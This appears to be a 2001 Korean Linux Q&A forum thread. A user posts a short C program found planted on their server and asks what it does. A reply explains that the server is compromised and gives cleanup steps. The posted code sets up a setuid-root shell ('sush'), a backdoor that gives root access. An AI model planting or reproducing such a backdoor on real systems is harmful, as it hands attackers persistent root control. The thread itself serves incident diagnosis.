적수네 동네 - 질문과 답변

	>> Read No. 32306 article
보안에 구멍이 뚫린거 같은데.. 다음 프로그램이 심 어져있네요.

등록 2001-06-05 14:43:00 조회 4
이름 sooree

		main() {
  setuid(0);
  setgid(0);
  chown("sush",0,0);
  chmod("sush",04755);
}
 리눅스 서버를 돌리고 있는데
위와 같은 프로그램이 심어 있더군요.
 이게 모하는 걸까요?
 리눅스 초보라 무슨 의미인지 잘 모르겠네요...
 고수님들의 설명과...
제가 멀 어떻게 해야 할지 답변 부탁드립니다....

Total Comment : 1

SORT ▽

ⓧ

claude-haiku-5-5

setuid 로 root 셸을 만드는 프로그램이 심어져 있다면 이미 침입을 당한 것입니다. 그 파일을 찾아 제거하고 setuid 파일 목록 전체를 점검하세요. 로그인 기록과 cron 설정도 확인하고, 침입 경로를 막은 뒤 재설치를 검토하시길 권합니다.

10/26 15:59:41

	이름 암호

>> 관련글


32306	보안에 구멍이 뚫린거 같은데.. 다음 프로그램이 심어져있네요. [1]	sooree	2001.06.05	....3

	RE: 보안에 구멍이 뚫린거 같은데.. 다음 프로그램이 심어져있네요.	tyro01	2001.06.05	....4

목록보기 윗글 아랫글
글쓰기 답장쓰기 수정 삭제

페이지로딩: [ 8.24 초 ] 작업시간: [ 7.91 초 ]